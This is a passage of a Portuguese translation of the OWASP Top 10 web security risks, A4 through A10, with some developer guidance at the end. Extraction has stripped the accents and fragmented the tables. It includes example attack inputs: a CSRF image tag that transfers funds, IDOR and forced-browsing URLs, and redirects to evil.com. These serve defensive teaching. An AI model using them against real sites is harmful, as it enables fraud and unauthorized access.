numa falha de referncia insegura e direta a
um objeto. Testadores podem facilmente
manipular valores de parmetros para detectar
tal falha. Anlise de cdigo rapidamente
mostra se a autorizao verificada de forma
adequada.
Tais falhas podem
comprometer todos
os dados que podem
ser referenciados pelo
parmetro. A menos
que as referncias a
objetos sejam
imprevisveis, fcil
para um atacante
acessar todos os
dados disponveis
desse tipo.
negcio dos dados
expostos.
Tambm considere o
impacto ao negcio da
exposio pblica da
vulnerabilidade.

A aplicao utiliza dados no verificados em uma chamada
SQL que est acessando as informaes de conta:
String query = "SELECT * FROM accts WHERE account = ?";
PreparedStatement pstmt =
connection.prepareStatement(query , );
pstmt.setString( 1, request.getParameter("acct"));
ResultSet results = pstmt.executeQuery( );
O atacante simplesmente modifica o parmetro acct em seu
navegador para enviar qualquer nmero de conta. Se no
verificado adequadamente, o atacante pode acessar qualquer
conta de usurio, em vez de somente a conta do cliente
pretendido.
http://example.com/app/accountInfo?acct=notmyacct

Estou vulnervel?
A melhor forma de saber se uma aplicao vulnervel a
referncia insegura e direta a objeto verificar se todos os
objetos referenciados possuem defesas apropriadas. Para atingir
esse objetivo, considere:
1. Para referncias diretas a recursos restritos, a aplicao
falha em verificar se o usurio est autorizado a acessar o
exato recurso que ele requisitou?
2. Se a referncia uma referncia indireta, o mapeamento
para a referncia direta falha ao limitar os valores para
aqueles autorizados para o usurio atual?
Reviso de cdigo da aplicao pode rapidamente verificar se
qualquer abordagem implementada com segurana. Teste
tambm efetivo para identificar referncias diretas a objetos e
se elas so seguras. Ferramentas automatizadas normalmente
no procuram por essa falha, porque elas no podem reconhecer
o que requer proteo ou o que seguro ou inseguro.

Referncias
OWASP
OWASP Top 10-2007 on Insecure Dir Object References
ESAPI Access Reference Map API
ESAPI Access Control API (See isAuthorizedForData(),
isAuthorizedForFile(), isAuthorizedForFunction() )
Para requisitos adicionais de acesso de controle, veja o ASVS
requirements area for Access Control (V4).

Externas
CWE Entry 639 on Insecure Direct Object References
CWE Entry 22 on Path Traversal (um exemplo de um ataque de
Referncia Direta a Objeto)

Preveno a referncia insegura e direta a objetos requer a seleo de uma
abordagem para proteo de cada objeto acessvel ao usurio (por exemplo,
nmero do objeto, nome de arquivo):
1. Uso de referncia indiretas a objetos por usurio ou sesso. Isso
impede que o atacante atinja diretamente os recursos no autorizados.
Por exemplo, em vez de utilizar a chave de banco de dados do recurso,
uma lista de seis recursos autorizados para o usurio atual poderia
utilizar os nmeros de 1 a 6 para indicar qual valor o usurio
selecionou. A aplicao tem que mapear as referncias indiretas por
usurio de volta para a chave do banco de dados real no servidor.
OWASPs ESAPI inclui tanto mapas de referncia de acesso seqencial e
aleatrio que os desenvolvedores podem usar para eliminar as
referncias diretas a objetos.
2. Verificar o acesso. Cada utilizao de uma referncia direta a objeto de
uma origem no confivel deve incluir uma verificao de controle de
acesso para garantir que o usurio est autorizado para o objeto
requisitado.
Referncia Insegura e Direta a
Objetos
A4
Vulnerabilidades
de Segurana
Vetores
de Ataque
Impactos
Tcnicos
Agentes de Ameaa
Impactos
no Negcio
Especfico da
Aplicao
Explorao
FCIL
Prevalncia
COMUM
Deteco
FCIL
Impacto
MODERADO
Especfico do
Negcio / Aplicao
Considere atacantes
externos annimos,
bem como usurios
com suas prprias
contas que podem
tentar comprometer o
sistema. Considere
tambm algum
internamente
querendo disfarar
suas aes.
Atacante acessa
contas padro,
pginas no utilizadas,
falhas no corrigidas,
arquivos e diretrios
desprotegidos, etc,
para obter acesso no
autorizado ou
conhecimento do
sistema.
Configuraes incorretas podem acontecer em
qualquer nvel da pilha da aplicao, incluindo
a plataforma, servidor web, servidor de
aplicao, banco de dados, framework e
cdigo personalizado. Desenvolvedores e
administradores de sistemas precisam
trabalhar juntos para garantir que toda a pilha
esteja configurada corretamente. Scanners
automatizados so teis para detectar falta de
atualizaes, erros de configurao, uso de
contas padro, servios desnecessrios, etc.
Tais falhas frequen-
temente permitem
aos atacantes acesso
no autorizado a
alguns dados ou
funcionalidade do
sistema.
Ocasionalmente,
resultam no
comprometimento
completo do sistema.
O sistema poderia ser
completamente
comprometido sem
voc saber. Todos os
seus dados podem ser
roubados ou
modificados
lentamente ao longo
do tempo. Custos de
recuperao podem
ser caros.
Cenrio #1: O console de administrao do servidor de aplicao instalado
automaticamente e no removido. Contas padro no so alteradas.
Atacantes descobrem as pginas padro de administrao que esto em seu
servidor, fazem login com senhas padro e assumem o acesso do ambiente.
Cenrio #2: A listagem de diretrios no est desativada em seu servidor. O
atacante descobre que pode simplesmente listar os diretrios para encontrar
qualquer arquivo. Atacante encontra e transfere todas as suas classes Java
compiladas, e pode decompilar e fazer engenharia reversa para obter todo o
seu cdigo customizado. Assim, ele encontra uma falha grave de acesso de
controle em sua aplicao.
Cenrio #3: Configurao do servidor de aplicao permite que os
rastreamentos de pilha sejam devolvidos aos usurios, potencialmente
expondo falhas potenciais. Atacantes adoram as mensagens de erro que
fornecem informaes extras.
Cenrio #4: servidor de aplicao vem com exemplos que no so removidos
do seu servidor de produo. Aplicaes de exemplo tm falhas de
segurana conhecidas que os atacantes podem usar para comprometer o seu
servidor.

Estou vulnervel?
Est faltando a adequada proteo da segurana em qualquer parte
da pilha de aplicao? Incluindo:
1. Algum software est desatualizado? Isto inclui o SO, servidor
web/aplicao, SGBD, aplicaes, e todas as bibliotecas de
cdigo (ver novo A9).
2. Existem recursos desnecessrios ativados ou instalados (por
exemplo, portas, servios, pginas, contas, privilgios)?
3. Contas padro e suas senhas ainda esto habilitadas e no
foram alteradas?
4. Ser que o tratamento de erros revelam rastreamentos de pilha
ou outras mensagens de erro excessivamente informativas para
os usurios?
5. As configuraes de segurana em seus frameworks de
desenvolvimento (por exemplo, Struts, Spring, ASP.NET) e
bibliotecas esto definidas para proteger os valores?
Sem um processo recorrente de configurao de segurana, seus
sistemas esto expostos a um risco mais elevado.
Referncias
OWASP
OWASP Development Guide: Chapter on Configuration
OWASP Code Review Guide: Chapter on Error Handling
OWASP Testing Guide: Configuration Management
OWASP Testing Guide: Testing for Error Codes
OWASP Top 10 2004 - Insecure Configuration Management
Para requisitos adicionais nesta rea, veja ASVS requirements
area for Security Configuration (V12).
Externas
PC Magazine Article on Web Server Hardening
CWE Entry 2 on Environmental Security Flaws
CIS Security Configuration Guides/Benchmarks

As recomendaes primrias so para estabelecer todas as medidas:
1. Um processo de hardening recorrente que torne fcil e rpido
de implantar outro ambiente que est devidamente blindado.
Ambientes de desenvolvimento, controle de qualidade e
produo devem ser todos configurados de forma idntica
(com senhas diferentes usadas em cada ambiente). Este
processo deve ser automatizado para minimizar o esforo
necessrio para configurar um novo ambiente seguro.
2. Um processo para se manter a par e implantar todas as novas
atualizaes e correes de software em tempo hbil e em para
cada ambiente. Este processo, deve incluir todas as bibliotecas
de cdigo (ver novo A9).
3. Uma arquitetura de aplicao forte que fornea a separao
segura e eficaz entre os componentes.
4. Considere executar varreduras e fazer auditorias
periodicamente para ajudar a detectar erros futuros de
configurao ou correes ausentes.
Configurao Incorreta de
Segurana
A5
Vulnerabilidades
de Segurana
Vetores
de Ataque
Impactos
Tcnicos
Agentes de Ameaa
Impactos
no Negcio
Especfico da
Aplicao
Explorao
DIFCIL
Prevalncia
RARA
Deteco
MDIA
Impacto
SEVERO
Especfico do
Negcio / Aplicao
Considere quem pode
ter acesso aos seus
dados sensveis e
backups desses dados.
Incluindo os dados em
repouso, em trfego,
e at mesmo nos
navegadores de seus
clientes. Inclua tanto
ameaas externas
como internas.
Os atacantes
normalmente no
quebram diretamente a
criptografia. Eles
exploram de outra forma,
como roubar chaves,
aplicar ataques do tipo
man-in-the-middle, ou
roubar dados em texto
claro fora do servidor,
enquanto transitam, ou a
partir do navegador do
usurio.
A falha mais comum simplesmente no
criptografar dados sensveis. Quando a
criptografia utilizada, a gerao e
gerenciamento de chaves fraca, alm da
utilizao de algoritmos e tcnicas de
hashing fracos. Vulnerabilidades no
navegador so comuns e fcil de detectar,
mas so difceis de explorar em larga
escala. Atacantes externos tem dificuldade
em detectar falhas no lado do servidor,
devido ao acesso limitado e tambm so
geralmente mais difceis de explorar.
A falha
frequentemente
compromete todos os
dados que deveriam
ter sido protegidos.
Normalmente, essas
informaes incluem
dados sensveis tais
como registros
mdicos, credenciais
de acesso, dados
pessoais, cartes de
crdito, etc.
negcio dos dados
perdidos e o impacto
para sua reputao.
Qual a sua
responsabilidade legal
se estes dados forem
expostos? Considere
tambm os danos
sua reputao.

Cenrio #1: Uma aplicao criptografa nmeros de carto de crdito em um
banco de dados usando a criptografia automtica do banco de dados. No en-
tanto, isso significa que tambm descriptografa esses dados automaticamen-
te quando recuperados, permitindo uma falha de injeo SQL para recuperar
os nmeros de carto de crdito em texto claro. O sistema deveria ter cripto-
grafado os nmeros de carto de crdito atravs de uma chave pblica, e s
permitir a descriptografia por aplicaes de back-end com a chave privada.
Cenrio #2: Um site simplesmente no usa SSL em todas as pginas
autenticadas. O atacante simplesmente monitora o trfego de rede (como
uma rede wireless aberta), e rouba o cookie de sesso do usurio. O atacante
ento reproduz este cookie e sequestra a sesso do usurio, acessando
dados privados do mesmo.
Cenrio #3: O banco de dados de senhas dos usurios usa hashes simples
(unsalted) para armazenar as senhas de todos. Uma falha de upload de
arquivos permite que um atacante recupere o arquivo de senhas. Todos os
hashes simples podero ser expostos atravs de uma rainbow table de
hashes pr-calculados.

Estou vulnervel?
A primeira coisa que voc deve determinar quais dados so sensveis o
suficiente para exigir proteo extra. Por exemplo, senhas, nmeros de
carto de crdito, registros mdicos e informaes pessoais devem ser
protegidas. Para todos esses dados:
1. Qualquer um desses dados armazenado em texto claro a longo prazo,
incluindo backups de dados?
2. Qualquer um desses dados transmitido em texto claro, internamente
ou externamente? O trfego de internet especialmente perigoso.
3. Algum algoritmo de criptografia utilizado fraco ou defasado?
4. As chaves criptogrficas geradas so fracas, ou elas possuem um
gerenciamento ou rodzio de forma adequada?
5. Algumas diretivas de segurana do navegador ou cabealhos esto
ausentes quando os dados sensveis so fornecidos/enviados ao
navegador?
Para um conjunto mais completo de problemas a serem evitados, consulte
reas do ASVS de Criptografia (V7), Proteo de dados (V9), e SSL (V10).

Referncias
OWASP - Para um conjunto mais completo de requisitos, consulte
Requisitos do ASVS na Criptografia (V7), Proteo de Dados (V9) e
Segurana das Comunicaes (V10)
OWASP Cryptographic Storage Cheat Sheet
OWASP Password Storage Cheat Sheet
OWASP Transport Layer Protection Cheat Sheet
OWASP Testing Guide: Chapter on SSL/TLS Testing
Externas
CWE Entry 310 on Cryptographic Issues
CWE Entry 312 on Cleartext Storage of Sensitive Information
CWE Entry 319 on Cleartext Transmission of Sensitive Information
CWE Entry 326 on Weak Encryption

Os perigos completos da criptografia insegura, o uso de SSL e proteo de
dados esto muito alm do escopo do Top 10. Dito isto, no mnimo, faa
todas as recomendaes:
1. Considerando que voc pretende proteger os dados de ameaas (como
por exemplo, ataque interno ou de usurio externo), tenha a certeza de
criptografar todos os dados sensveis em repouso e em trnsito de uma
forma que iniba estas ameaas.
2. No armazene dados sensveis desnecessariamente. Descarte-os o mais
rpido possvel. Dados que voc no tem no podem ser roubados.
3. Certifique-se que o nvel utilizado nos algoritmos e chaves so fortes, e
que o gerenciamento de chaves est aplicado adequadamente.
Considere utilizar os mdulos criptogrficos validados do FIPS-140.
4. Certifique-se que as senhas so armazenadas com um algoritmo
projetado especialmente para a proteo de senhas, como o bcrypt,
PBKDF2 ou scrypt.
5. Desabilite o autocompletar em formulrios de coleta de dados sens-
veis e desabilite o cache em pginas que contenham dados sensveis.
Exposio de Dados Sensveis
A6
Vulnerabilidades
de Segurana
Vetores
de Ataque
Impactos
Tcnicos Agentes de Ameaa
Impactos
no Negcio
Especfico da
Aplicao
Explorao
FCIL
Prevalncia
COMUM
Deteco
MDIO
Impacto
MODERADO
Especfico do
Negcio / Aplicao
Qualquer um com
acesso rede pode
enviar uma requisio
para a sua aplicao.
Usurios annimos
poderiam acessar fun-
cionalidades privadas
ou usurios normais
acessarem uma
funo privilegiada?
O atacante, que um
usurio autorizado no
sistema, simplesmente
muda a URL ou um
parmetro para uma
funo privilegiada. O
acesso concedido?
Usurios annimos
podem acessar funes
privadas que no so
protegidas.
Aplicaes nem sempre protegem
adequadamente as funo de aplicao. s
vezes, a proteo em nvel de funo
gerenciada via configurao, e o sistema
mal configurado. s vezes,
desenvolvedores devem incluir verificaes
de cdigo adequadas, e eles esquecem.
A deteco de tais falhas fcil. A parte
mais difcil identificar em quais pginas
(URLs) ou funes existem para atacar.
Tais falhas permitem
aos atacantes
acessarem
funcionalidades no
autorizadas. Funes
administrativas so os
principais alvos para
esse tipo de ataque.
negcio das funes
expostas e os dados
que elas processam.
Tambm considere o
impacto para sua
reputao se essa
vulnerabilidade se
tornar pblica.

Cenrio #1: O atacante simplesmente fora a navegao pelas
URLs alvo. As seguintes URLs exigem autenticao. Direitos de
administrador tambm so exigidos para acessar a pgina
admin_getappInfo .
http://example.com/app/getappInfo
http://example.com/app/admin_getappInfo
Se um usurio no autenticado pode acessar qualquer pgina,
isso uma falha. Se um usurio autenticado, no
administrador, tem permisso para acessar a pgina
admin_getappInfo, isso tambm uma falha, e pode levar o
atacante para mais pginas de administrao
inadequadamente protegidas.
Cenrio #2: Uma pgina fornece um parmetro action para
especificar a funo que est sendo chamada, e diferentes
aes exigem papis diferentes. Se esses papis no so
aplicados, isso uma falha.

Estou Vulnervel?
A melhor maneira para descobrir se uma aplicao falha em restringir
adequadamente o acesso em nvel de funo verificar todas as funes da
aplicao:
1. A UI mostra a navegao para as funes no autorizadas?
2. No lado do servidor falta verificao de autenticao ou autorizao?
3. No lado do servidor as verificaes feitas dependem apenas de
informaes providas pelo atacante?
Utilizando um proxy, navegue sua aplicao com um papel privilegiado.
Ento revisite pginas restritas utilizando um papel menos privilegiado. Se as
respostas do servidor so iguais, voc provavelmente est vulnervel. Alguns
testes de proxies suportam diretamente esse tipo de anlise.
Voc pode tambm verificar a implementao do controle de acesso no
cdigo. Tente seguir uma nica requisio privilegiada atravs do cdigo e
verifique o padro de autorizao. Ento pesquise o cdigo base para
encontrar onde o padro no est sendo seguido.
Ferramentas automatizadas so improvveis de encontrar esses problemas.

Referncias
OWASP
OWASP Top 10-2007 on Failure to Restrict URL Access
ESAPI Access Control API
OWASP Development Guide: Chapter on Authorization
OWASP Testing Guide: Testing for Path Traversal
OWASP Article on Forced Browsing
Para requisitos adicionais de acesso de controle, veja o ASVS
requirements area for Access Control (V4).

Externas
CWE Entry 285 on Improper Access Control (Authorization)

Sua aplicao deveria ter um mdulo de autorizao consistente e fcil de
analisar que seja chamado por todas as suas funes de negcio.
Frequentemente, tal proteo fornecida por um ou mais componentes
externos ao cdigo da aplicao.
1. Pense sobre o processo para gerenciar os direitos e garantir que voc
possa atualizar e auditar facilmente. No codifique diretamente.
2. A execuo de mecanismos deve negar todo o acesso por padro,
exigindo direitos explcitos para papis especficos no acesso a todas as
funes.
3. Se a funo est envolvida em um fluxo de trabalho, verifique, para ter
certeza, se as condies esto em estado adequado para permitir
acesso.
NOTA: Muitas das aplicaes web no mostram links e botes para funes
no autorizadas, mas esse "controle de acesso na camada de apresentao"
na verdade no fornece proteo. Voc tambm deve implementar
verificaes na lgica do controlador ou do negcio.
Falta de Funo para Controle do
Nvel de Acesso
A7
Vulnerabilidades
de Segurana
Vetores
de Ataque
Impactos
Tcnicos
Agentes de Ameaa
Impactos
no Negcio
Especfico da
Aplicao
Explorao
MDIO
Prevalncia
COMUM
Deteco
FCIL
Impacto
MODERADO
Especfico do
Negcio / Aplicao
Considere qualquer
pessoa que possa
carregar contedo nos
navegadores dos
usurios, e assim
for-los a fazer uma
requisio para seu
site. Qualquer site ou
outro servio html
que usurios acessam
pode fazer isso.
O atacante forja
requisies HTTP
falsas e engana uma
vitima submetendo-a
a um ataque atravs
de tags de imagem,
XSS, ou inmeras
outras tcnicas. Se o
usurio estiver
autenticado, o ataque
bem sucedido.
O CSRF se aproveita do fato de que a maioria
das aplicaes web permitem que os
atacantes prevejam todos os detalhes de
uma ao particular da aplicao. Como os
navegadores automaticamente trafegam
credenciais como cookies de sesso, os
atacantes podem criar pginas web
maliciosas que geram requisies forjadas
indistinguveis das legtimas. Deteco de
falhas de CSRF bastante simples atravs de
testes de penetrao ou de anlise de
cdigo.
Os atacantes podem
enganar suas fazendo
com que executem
operaes de mudana
de estado que a vtima
est autorizada a
realizar, por ex.,
atualizando detalhes da
sua conta, comprando,
deslogando ou at
mesmo efetuando
login.
negcio dos dados ou
funes afetadas da
aplicao. Imagine
no ter a certeza se os
usurios tem a
inteno de realizar
tais aes.
Considere o impacto
na sua reputao.

A aplicao permite que um usurio submeta uma requisio de
mudana de estado que no inclui qualquer segredo. Por exemplo:
http://exemplo.com/app/transferirFundos?quantia=1500
&contaDestino=4673243243
Com isso, o atacante constri uma requisio que ir transferir
dinheiro da conta da vtima para a conta do atacante, e ento
incorpora este ataque em uma requisio armazenada em uma
imagem ou iframe em vrios sites sob o controle do atacante:
<img src="http://exemplo.com/app/transferirFundos?
quantia=1500&contaDestino=contaAtacante#
width="0" height="0" />
Se a vtima visitar qualquer um dos sites do atacante enquanto
estiver autenticado em exemplo.com, essas requisies forjadas iro
incluir automaticamente informaes de sesso do usurio,
autorizando o pedido do atacante.

Estou vulnervel?
Para verificar se uma aplicao vulnervel, verifique se quaisquer links e
formulrios no possuam um token imprevisvel de CSRF. Sem um token, os
atacantes podem forjar requisies maliciosas. Uma alternativa de defesa
solicitar que o usurio prove a inteno de submeter a requisio, seja
atravs de uma autenticao, ou alguma outra prova de que um usurio
real (por exemplo, um CAPTCHA).
Concentre-se nos links e formulrios que invocam funes de mudana de
estado, uma vez que esses so os alvos mais importantes de um CSRF.
Voc deve verificar as transaes em vrias etapas, j que elas no so
inerentemente imunes. Os atacantes podem facilmente forjar uma srie de
requisies usando mltiplas tags ou possivelmente Java Script.
Note que os cookies de sesso, endereos IP de origem, e outras informaes
que so enviadas automaticamente pelo navegador no fornecem nenhuma
defesa contra CSRF uma vez que elas tambm so includas nas requisies
forjadas.
A ferramenta de teste do OWASP CSRF Tester pode auxiliar com gerao de
casos de teste para demonstrar os perigos das falhas de CSRF.

Referncias
OWASP
OWASP CSRF Article
OWASP CSRF Prevention Cheat Sheet
OWASP CSRFGuard - CSRF Defense Tool
ESAPI Project Home Page
ESAPI HTTPUtilities Class with AntiCSRF Tokens
OWASP Testing Guide: Chapter on CSRF Testing
OWASP CSRFTester - CSRF Testing Tool

Externas
CWE Entry 352 on CSRF

A preveno de um CSRF geralmente requer a incluso de um token
imprevisvel em cada requisio HTTP. Tais tokens devem, no mnimo, ser
nicos por sesso de usurio.
1. A opo preferida consiste em incluir um token nico em um campo
oculto. Isso faz com que o valor seja enviado no corpo da requisio
HTTP, evitando-se a sua insero na URL, que mais propensa a
exposio.
2. O token nico pode ser includo na prpria URL, ou em parmetros da
URL. Contudo, tal posicionamento corre um risco maior j que a URL
ser exposta ao atacante, comprometendo assim o token secreto.
O CSRF Guard do OWASP pode incluir tokens automaticamente em
aplicaes Java EE, .NET ou PHP. A ESAPI do OWASP disponibiliza mtodos
para desenvolvedores utilizarem na preveno de vulnerabilidades de CSRF.
3. Exigir que o usurio autentique novamente, ou provar que so
realmente um usurio (por exemplo, atravs de CAPTCHA) tambm
pode proteger contra CSRF.
Cross-Site Request Forgery
(CSRF)
A8
Vulnerabilidades
de Segurana
Vetores
de Ataque
Impactos
Tcnicos
Agentes de Ameaa
Impactos
no Negcio
Especfico da
Aplicao
Explorao
MDIO
Prevalncia
GENERALIZADA
Deteco
DIFCIL
Impacto
MODERADO
Especfico do
Negcio / Aplicao
Alguns componentes
vulnerveis (por exemplo,
bibliotecas de framework)
podem ser identificadas e
exploradas com ferramen-
tas automatizadas, expan-
dindo o leque de agentes de
ameaa incluindo, alm de
atacantes direcionados,
atores caticos.
O atacante identifica um
componente vulnervel
atravs de varredura ou
anlise manual. Ele
personaliza o exploit
conforme necessrio e
executa o ataque. Isso se
torna mais difcil se o com-
ponente usado est mais
profundo na aplicao.
Virtualmente todas aplicaes possuem estes
problemas porque a maioria dos times de
desenvolvimento no focam em garantir que
seus componentes e/ou bibliotecas estejam
atualizados. Em muitos casos, os
desenvolvedores sequer conhecem todos os
componentes que esto usando, muito menos
suas verses. Dependncias de componentes
tornam a situao ainda pior.
A gama completa de
vulnerabilidades
possvel, incluindo
injeo, falha no
controle de acesso, XSS,
etc. O impacto poderia
variar do mnimo ao
completo
comprometimento do
servidor e dos dados.
Considere o que cada
vulnerabilidade pode
significar para o negcio
controlado pela
aplicao afetada. Ela
pode ser trivial ou pode
significar o
comprometimento
completo.

Exemplo de Cenrios de Ataque
Vulnerabilidades de componentes podem causar quase qualquer tipo de
risco imaginvel, variando do malware trivial ao sofisticado desenvolvido
para atingir uma organizao especfica. Componentes quase sempre
executam com todos os privilgios de uma aplicao, ento falhas em
qualquer componente podem ser srias. Os dois seguintes componentes
vulnerveis foram baixados 22m de vezes em 2011.
Apache CXF Authentication Bypass Ao no fornecer um token de
identidade, atacantes podem chamar qualquer servio web com todas as
permisses. (Apache CXF um framework de servios, no deve ser
confundido com o Servidor de Aplicao Apache.)
Spring Remote Code Execution Abuso da implementao de Linguagem
Expression no Spring permitiu aos atacantes executarem cdigo
arbitrrio, efetivamente comprometendo o servidor.
Toda aplicao utilizando qualquer dessas bibliotecas vulnerveis est
vulnervel a ataques j que ambos componentes so diretamente acessveis
por usurios da aplicao. Outras bibliotecas vulnerveis, usadas mais
profundamente em uma aplicao, podem ser mais difceis de explorar.

Estou vulnervel?
Em teoria, deveria ser fcil de descobrir se voc est atualmente
utilizando quaisquer componentes ou bibliotecas vulnerveis.
Infelizmente, relatrios de vulnerabilidades de software comercial
ou livre nem sempre especificam exatamente quais verses de um
componente esto vulnerveis de uma forma padro, pesquisvel.
Alm disso, nem todas as bibliotecas utilizam um sistema de
numerao de verses compreensvel. Pior ainda, nem todas as
vulnerabilidades so reportadas para um local central que seja fcil
de pesquisar, apesar de sites como CVE e NVD estejam se tornando
mais fceis de pesquisar.
Determinar se voc est vulnervel requer pesquisar nesses bancos
de dados, bem como manter-se a par de listas de e-mails e anncios
para qualquer coisa que possa ser uma vulnerabilidade. Se um de
seus componentes tiver uma vulnerabilidade, voc deve avaliar
cuidadosamente se est realmente vulnervel verificando se seu
cdigo utiliza a parte do componente com a vulnerabilidade e se a
falha poderia resultar em um impacto que preocupe voc.

Referncias
OWASP
Good Component Practices Project

Externas
The Unfortunate Reality of Insecure Libraries
Open Source Software Security
Addressing Security Concerns in Open Source Components
MITRE Common Vulnerabilities and Exposures
Example Mass Assignment Vulnerability that was fixed in
ActiveRecord, a Ruby on Rails GEM

Uma opo no usar componentes que voc no escreve. Mas isso
no muito realista.
Muitos projetos de componentes no criam correes de
vulnerabilidades para verses antigas. Em vez disso, mais simples
corrigir o problema na prxima verso. Ento atualizar para essas novas
verses crtico. Projetos de software devem ter processos para:
1) Identificar todos os componentes e as verses que voc est utili-
zando, incluindo todas as dependncias. (ex., verses dos plugins).
2) Monitorar a segurana desses componentes em banco de dados
pblicos, listas de e-mail de projetos e segurana, e mant-los
atualizados.
3) Estabelecer polticas de segurana que definam o uso do
componente, assim como exigir certas prticas de
desenvolvimento de software, passando em testes de segurana, e
licenas aceitveis.
4) Quando apropriado, considere a adio de invlucros de segu-
rana em torno dos componentes para desabilitar funcionalidades
no utilizadas e/ou proteger falhas ou aspectos vulnerveis do
componente.
Utilizao de Componentes
Vulnerveis Conhecidos
A9
Vulnerabilidades
de Segurana
Vetores
de Ataque
Impactos
Tcnicos
Agentes de Ameaa
Impactos
no Negcio
Especfico da
Aplicao
Explorao
MDIA
Prevalncia
RARA
Deteco
FCIL
Impacto
MODERADO
Especfico do
Negcio / Aplicao
Considere quem
possa enganar
seus usurios para
que enviem uma
solicitao ao seu
site. Qualquer site
ou feed HTML que
seus usurios
utilizam poderia
fazer isso.
O atacante aponta para
um redirecionamento
invlido e engana as
vtimas para que cliquem
nele. As vtimas so mais
propensas a clicar, j que
o link aponta para um
site vlido. O atacante
visa um encaminhamen-
to inseguro para evitar
verificaes de
segurana.
Aplicaes frequentemente redirecionam
usurios para outras pginas, ou usam
encaminhamentos internos de uma maneira
similar. Por vezes a pgina de destino
especificada atravs de um parmetro que
no validado, permitindo que o atacante
escolha essa pgina de destino.
Detectar redirecionamentos invlidos fcil.
Procure por aqueles onde voc pode definir a
URL completa. Encaminhamen-tos invlidos
so mais difceis, pois eles tm como alvo
pginas internas.
Tais redirecionamentos
podem tentar instalar
malware ou enganar
vtimas para que
divulguem suas senhas
ou outras informaes
sensveis.
Encaminhamentos
inseguros podem
permitir contornar os
controles de acesso.
negcio da
manuteno da
confiana de seus.
E se eles forem
infectados por
malware?
E se atacantes
puderem acessar
funes que deveriam
ser somente internas?

Cenrio #1: A aplicao possui uma pgina chamada
redirect.jsp que recebe apenas um parmetro url. O
atacante cria uma URL maliciousa que redireciona os usurios
para o site malicioso, que executa phishing e instala malware.
http://www.example.com/redirect.jsp?url=evil.com
Cenrio #2: A aplicao usa encaminhamentos para rotear
requisies entre partes diferentes do site. Para facilitar,
algumas pginas usam um parmetro para indicar onde o
usurio deve ser enviado se a transao for efetuada com
sucesso. Neste caso, o atacante cria uma URL que ir passar
pela verificao de controle de acesso e encaminh-lo para
uma funcionalidade administrativa que o atacante no teria
autorizao para acess-la.
http://www.example.com/boring.jsp?fwd=admin.jsp

Estou vulnervel?
A melhor forma de verificar se uma aplicao possui
redirecionamentos ou encaminhamentos no validados :
1. Revise o cdigo de todos os usos de redirecionamentos ou
encaminhamentos (chamados de transferncia em .NET). Para
cada uso, identifique se a URL de destino est includa em
quaisquer valores de parmetro. Caso a URL de destino no seja
validada em uma lista branca, voc est vulnervel.
2. Tambm, varra o site para verificar se ele gera algum
redirecionamento (cdigos de resposta HTTP 300-307,
tipicamente 302). Olhe para os parmetros fornecidos antes do
redirecionamento para verificar se eles parecem ser uma URL
de destino ou apenas parte dela. Se sim, altere a URL de
destino e observe se o site redireciona para o novo destino.
3. Se o cdigo no estiver disponvel, verifica todos os parmetros
para identificar se eles parecem ser parte de um
redirecionamento ou encaminhamento e teste todos.

Referncias
OWASP
OWASP Article on Open Redirects
ESAPI SecurityWrapperResponse sendRedirect() method

Externas
CWE Entry 601 on Open Redirects
WASC Article on URL Redirector Abuse
Google blog article on the dangers of open redirects
OWASP Top 10 for .NET article on Unvalidated Redirects and
Forwards

Uso seguro de redirecionamentos e encaminhamentos pode ser
feito de vrias formas:
1. Simplesmente evitar us-los.
2. Se forem usados, no envolva parmetros do usurio no clculo
do destino. Normalmente, isto pode ser feito.
3. Se os parmetros de destino no podem ser evitados, tenha
certeza que o valor fornecido vlido, e autorizado para o
usurio.
Recomenda-se que qualquer parmetro de destino seja um
valor mapeado, e no a URL real ou parte dela, e que o cdigo
do lado do servidor traduza este mapeamento para a URL de
destino.
Aplicaes podem usar ESAPI para substituir o mtodo
sendRedirect() para certificarem-se de que todos os destinos do
redirecionamento so seguros.
Evitar tais falhas extremamente importante j que elas so o alvo
favorito de phishers tentando obter a confiana do usurio.
Redirecionamentos e
Encaminhamentos Invlidos
A10
Vulnerabilidades
de Segurana
Vetores
de Ataque
Impactos
Tcnicos
Agentes de Ameaa
Impactos
no Negcio
Estabelecer e Usar Processos de Segurana Consistentes e Controles de
Segurana Padronizados
Se a segurana de aplicaes de web um tema novo para voc, ou mesmo que j esteja bem familiarizado com esses riscos, a
tarefa de criar uma aplicao web segura ou corrigir uma aplicao web que j existe pode ser bastante difcil. Se voc gerencia
um portfolio de aplicaes de tamanho considervel, isso pode ser intimidante.

Para ajudar organizaes e desenvolvedores a reduzir os riscos de segurana de suas aplicaes de uma forma econmica, o
OWASP criou vrios recursos livres e abertos que podem ser usados visando a segurana de aplicaes na sua empresa. A seguir
se encontram alguns dos muitos recursos que o OWASP criou para ajudar organizaes a produzir aplicaes web seguras. Na
pgina seguinte apresentamos recursos adicionais do OWASP que podem ajudar a verificar a segurana das aplicaes.

Numerosos recursos adicionais do OWASP esto disponveis. Visite a Pgina de Projetos OWASP, l esto listados todos os
projetos OWASP, organizados por tipo de verso dos projetos (Release Quality, Beta, ou Alfa). A maioria dos recursos OWASP
est disponvel na pgina de wiki, e muitos documentos do OWASP podem ser solicitados em formato Impresso ou eBook.
Prximos Passos para
Desenvolvedores
+D
Para desenvolver uma aplicao web segura necessrio definir o que significa segurana para
essa aplicao. O OWASP recomenda usar o Padro de Verificao de Segurana de Aplicaes
(ASVS) como guia para configurar os requisitos de segurana da(s) sua(s) aplicao(es). Se
estiver terceirizando, considerar o Anexo do Contrato de Software Seguro do OWASP.
Requisitos de
Segurana de
Aplicaes
Ao invs de adicionar segurana a suas aplicaes, muito mais econmico projetar a segurana
desde o princpio. O OWASP recomenda O Guia do Desenvolvedor OWASP e as Dicas de
Preveno do OWASP como pontos de partida para projetar segurana desde o incio.
Arquitetura
de Segurana
de Aplicaes
Construir controles de segurana fortes e fceis de usar extremamente difcil. Um conjunto de
controles de segurana padronizados simplifica radicalmente o desenvolvimento de aplicaes
seguras. O OWASP recomenda o Projeto da API de Segurana Empresarial do OWASP (ESAPI)
como modelo de API de segurana necessria para produzir aplicaes web seguras. A ESAPI tem
implementaes de referncia em Java, .NET, PHP, ASP Clssico, Python, e Cold Fusion.
Controles de
Segurana
Padronizados
Para melhorar o processo que a sua organizao segue ao desenvolver aplicaes, o OWASP
recomenda o Modelo de Maturidade de Garantia do Software (SAMM). Este modelo ajuda a
organizao a formular e implementar estratgias para segurana de software customizadas para
os riscos especficos que a organizao enfrenta.
Segurana do
Ciclo de Vida do
Desenvolvimento
O Projeto de Educao OWASP oferece material de treinamento para ajudar a educar
